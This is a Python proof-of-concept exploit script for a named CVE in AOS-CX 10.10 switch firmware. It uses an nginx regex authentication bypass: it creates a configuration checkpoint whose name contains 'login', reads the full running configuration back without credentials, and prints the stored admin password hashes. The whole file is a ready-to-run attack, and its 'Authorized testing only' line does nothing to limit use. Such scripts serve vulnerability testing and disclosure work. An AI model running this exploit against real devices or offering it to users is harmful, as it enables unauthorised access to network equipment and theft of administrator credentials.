#!/usr/bin/env python3 """CVE-2026-23813 — AOS-CX 10.10 unauth config disclosure. Uses the nginx-regex bypass to create a checkpoint and read the full running configuration without authentication, exposing the admin credential hash. Authorized testing only. """ import argparse import sys import requests import urllib3 urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) def main(): p = argparse.ArgumentParser(description=__doc__) p.add_argument("target", help="host or host:port") p.add_argument("--name", default="loginpoc", help="checkpoint name (must contain 'login' for the bypass)") args = p.parse_args() if "login" not in args.name: print("[-] checkpoint name must contain 'login' for the bypass to work", file=sys.stderr) sys.exit(2) base = f"https://{args.target}" s = requests.Session() s.verify = False # 1. Create a checkpoint of the running config. r = s.post(f"{base}/rest/v1/config/copy/running-config/{args.name}", timeout=10) if r.status_code == 200: print(f"[+] checkpoint {args.name!r} created") elif r.status_code == 400 and "already exists" in r.text: print(f"[*] checkpoint {args.name!r} already exists — reading") else: print(f"[-] checkpoint create failed (HTTP {r.status_code})") print(" bypass may be patched, or try /rest/v10.xx/... on a newer branch") sys.exit(1) # 2. Read the checkpoint back as JSON. r = s.get(f"{base}/rest/v1/fullconfigs/{args.name}", timeout=10) if r.status_code != 200: print(f"[-] config read failed (HTTP {r.status_code})") sys.exit(1) config = r.json() users = config.get("User", {}) if not users: print("[-] no User table in returned config") for user, data in users.items(): pw = data.get("password", "") suffix = "..." if len(pw) > 60 else "" print(f"[+] {user}: {pw[:60]}{suffix}") print("[+] full config extracted without authentication") if __name__ == "__main__": main()